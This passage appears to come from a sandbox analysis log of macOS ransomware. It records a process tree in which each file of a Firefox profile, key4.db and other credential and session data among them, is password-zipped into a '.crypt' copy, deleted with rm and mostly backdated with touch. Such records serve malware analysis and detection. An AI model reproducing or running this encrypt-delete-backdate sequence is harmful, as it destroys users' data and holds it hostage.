  2⤵
  PID:1062
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/favicons.sqlite-wal"
  2⤵
  - Resource Forking
  PID:1063
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/favicons.sqlite-wal"
  2⤵
  PID:1063
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/favicons.sqlite-wal.crypt"
  2⤵
  - Resource Forking
  PID:1064
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-store.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-store"
  2⤵
  PID:1065
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-store"
  2⤵
  - Resource Forking
  PID:1066
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-store"
  2⤵
  - Resource Forking
  PID:1066
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addons.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addons.json"
  2⤵
  PID:1067
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addons.json"
  2⤵
  PID:1068
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addons.json"
  2⤵
  - Resource Forking
  PID:1068
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addons.json.crypt"
  2⤵
  PID:1069
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/.parentlock.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/.parentlock"
  2⤵
  PID:1070
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/.parentlock"
  2⤵
  PID:1071
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/.parentlock"
  2⤵
  PID:1071
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/.parentlock.crypt"
  2⤵
  - Resource Forking
  PID:1072
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/search.json.mozlz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/search.json.mozlz4"
  2⤵
  - Resource Forking
  PID:1073
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/search.json.mozlz4"
  2⤵
  PID:1074
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/search.json.mozlz4"
  2⤵
  - Resource Forking
  PID:1074
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/search.json.mozlz4.crypt"
  2⤵
  - Resource Forking
  PID:1075
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionCheckpoints.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionCheckpoints.json"
  2⤵
  - Resource Forking
  PID:1076
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionCheckpoints.json"
  2⤵
  PID:1077
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionCheckpoints.json"
  2⤵
  PID:1077
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/sessionCheckpoints.json.crypt"
  2⤵
  - Resource Forking
  PID:1078
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/pkcs11.txt.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/pkcs11.txt"
  2⤵
  - Resource Forking
  PID:1079
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/pkcs11.txt"
  2⤵
  PID:1080
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/pkcs11.txt"
  2⤵
  - Resource Forking
  PID:1080
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/pkcs11.txt.crypt"
  2⤵
  - Resource Forking
  PID:1081
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/times.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/times.json"
  2⤵
  PID:1082
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/times.json"
  2⤵
  - Resource Forking
  PID:1083
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/times.json"
  2⤵
  - Resource Forking
  PID:1083
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/times.json.crypt"
  2⤵
  - Resource Forking
  PID:1084
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/AlternateServices.bin.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/AlternateServices.bin"
  2⤵
  - Resource Forking
  PID:1085
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/AlternateServices.bin"
  2⤵
  PID:1086
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/AlternateServices.bin"
  2⤵
  - Resource Forking
  PID:1086
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/AlternateServices.bin.crypt"
  2⤵
  - Resource Forking
  PID:1087
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-preferences.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-preferences.json"
  2⤵
  PID:1088
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-preferences.json"
  2⤵
  PID:1089
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-preferences.json"
  2⤵
  PID:1089
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extension-preferences.json.crypt"
  2⤵
  - Resource Forking
  PID:1090
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/user.js.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/user.js"
  2⤵
  - Resource Forking
  PID:1091
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/user.js"
  2⤵
  PID:1092
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/user.js"
  2⤵
  PID:1092
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/user.js.crypt"
  2⤵
  - Resource Forking
  PID:1093
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addonStartup.json.lz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addonStartup.json.lz4"
  2⤵
  PID:1094
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addonStartup.json.lz4"
  2⤵
  - Resource Forking
  PID:1095
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addonStartup.json.lz4"
  2⤵
  - Resource Forking
  PID:1095
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/addonStartup.json.lz4.crypt"
  2⤵
  - Resource Forking
  PID:1096
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/Telemetry.ShutdownTime.txt.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/Telemetry.ShutdownTime.txt"
  2⤵
  PID:1097
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/Telemetry.ShutdownTime.txt"
  2⤵
  PID:1098
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/Telemetry.ShutdownTime.txt"
  2⤵
  PID:1098
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/Telemetry.ShutdownTime.txt.crypt"
  2⤵
  PID:1099
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes"
  2⤵
  PID:1100
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes"
  2⤵
  PID:1101
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes"
  2⤵
  - Resource Forking
  PID:1101
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes/events.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes/events"
  2⤵
  PID:1102
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes/events"
  2⤵
  PID:1103
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/crashes/events"
  2⤵
  - Resource Forking
  PID:1103
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/key4.db.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/key4.db"
  2⤵
  PID:1104
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/key4.db"
  2⤵
  PID:1105
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/key4.db"
  2⤵
  - Resource Forking
  PID:1105
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/key4.db.crypt"
  2⤵
  - Resource Forking
  PID:1106
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/webappsstore.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/webappsstore.sqlite"
  2⤵
  - Resource Forking
  PID:1107
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/webappsstore.sqlite"
  2⤵
  PID:1108
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/webappsstore.sqlite"
  2⤵
  - Resource Forking
  PID:1108
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/webappsstore.sqlite.crypt"
  2⤵
  PID:1109
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/protections.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/protections.sqlite"
  2⤵
  PID:1110
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/protections.sqlite"
  2⤵
  - Resource Forking
  PID:1111
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/protections.sqlite"
  2⤵
  - Resource Forking
  PID:1111
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/protections.sqlite.crypt"
  2⤵
  - Resource Forking
  PID:1112
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/targeting.snapshot.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/targeting.snapshot.json"
  2⤵
  PID:1113
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/targeting.snapshot.json"
  2⤵
  PID:1114
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/targeting.snapshot.json"
  2⤵
  - Resource Forking
  PID:1114
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/targeting.snapshot.json.crypt"
  2⤵
  PID:1115
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/places.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/places.sqlite-wal"
  2⤵
  - Resource Forking
  PID:1116
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/places.sqlite-wal"
  2⤵
  - Resource Forking
  PID:1117
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/places.sqlite-wal"
  2⤵
  - Resource Forking
  PID:1117
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/places.sqlite-wal.crypt"
  2⤵
  PID:1118
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/security_state.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/security_state"
  2⤵
  PID:1119
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/security_state"
  2⤵
  PID:1120
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/security_state"
  2⤵
  - Resource Forking
  PID:1120
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting"
  2⤵
  PID:1121
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting"
  2⤵
  - Resource Forking
  PID:1122
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting"
  2⤵
  PID:1122
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/state.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/state.json"
  2⤵
  - Resource Forking
  PID:1123
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/state.json"
  2⤵
  - Resource Forking
  PID:1124
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/state.json"
  2⤵
  - Resource Forking
  PID:1124
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/state.json.crypt"
  2⤵
  PID:1125
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/session-state.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/session-state.json"
  2⤵
  PID:1126
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/session-state.json"
  2⤵
  - Resource Forking
  PID:1127
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/session-state.json"
  2⤵
  PID:1127
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/session-state.json.crypt"
  2⤵
  PID:1128
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean"
  2⤵
  PID:1129
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean"
  2⤵
  PID:1130
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean"
  2⤵
  PID:1130
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db"
  2⤵
  PID:1131
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db"
  2⤵
  PID:1132
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db"
  2⤵
  PID:1132
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db/data.safe.bin.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db/data.safe.bin"
  2⤵
  PID:1133
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db/data.safe.bin"
  2⤵
  PID:1134
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db/data.safe.bin"
  2⤵
  PID:1134
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/db/data.safe.bin.crypt"
  2⤵
  PID:1135
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events"
  2⤵
  PID:1136
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events"
  2⤵
  PID:1137
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events"
  2⤵
  PID:1137
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/pageload.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/pageload"
  2⤵
  PID:1138
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/pageload"
  2⤵
  PID:1139
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/pageload"
  2⤵
  PID:1139
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/pageload.crypt"
  2⤵
  PID:1140
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/background-update.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/background-update"
  2⤵
  PID:1141
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/background-update"
  2⤵
  PID:1142
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/background-update"
  2⤵
  PID:1142
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/background-update.crypt"
  2⤵
  PID:1143
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/events.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/events"
  2⤵
  PID:1144
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/events"
  2⤵
  PID:1145
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/events"
  2⤵
  PID:1145
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/events/events.crypt"
  2⤵
  PID:1146
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/tmp.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/tmp"
  2⤵
  PID:1147
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/tmp"
  2⤵
  PID:1148
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/tmp"
  2⤵
  PID:1148
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings"
  2⤵
  PID:1149
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings"
  2⤵
  PID:1150
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings"
  2⤵
  PID:1150
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings/9decb8f5-768d-42d2-9c90-cc45f9d5fc6d.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings/9decb8f5-768d-42d2-9c90-cc45f9d5fc6d"
  2⤵
  PID:1151
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings/9decb8f5-768d-42d2-9c90-cc45f9d5fc6d"
  2⤵
  PID:1152
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings/9decb8f5-768d-42d2-9c90-cc45f9d5fc6d"
  2⤵
  PID:1152
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/glean/pending_pings/9decb8f5-768d-42d2-9c90-cc45f9d5fc6d.crypt"
  2⤵
  PID:1153
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived"
  2⤵
  PID:1154
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived"
  2⤵
  PID:1155
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived"
  2⤵
  PID:1155
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11"
  2⤵
  PID:1156
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11"
  2⤵
  PID:1157
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11"
  2⤵
  PID:1157
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465358.26933922-a2bd-4af9-b720-1cf51ac54938.event.jsonlz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465358.26933922-a2bd-4af9-b720-1cf51ac54938.event.jsonlz4"
  2⤵
  PID:1158
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465358.26933922-a2bd-4af9-b720-1cf51ac54938.event.jsonlz4"
  2⤵
  PID:1159
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465358.26933922-a2bd-4af9-b720-1cf51ac54938.event.jsonlz4"
  2⤵
  PID:1159
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465358.26933922-a2bd-4af9-b720-1cf51ac54938.event.jsonlz4.crypt"
  2⤵
  PID:1160
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465369.3b0c7eb2-dd0d-431d-a504-7b4172b8b6fc.first-shutdown.jsonlz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465369.3b0c7eb2-dd0d-431d-a504-7b4172b8b6fc.first-shutdown.jsonlz4"
  2⤵
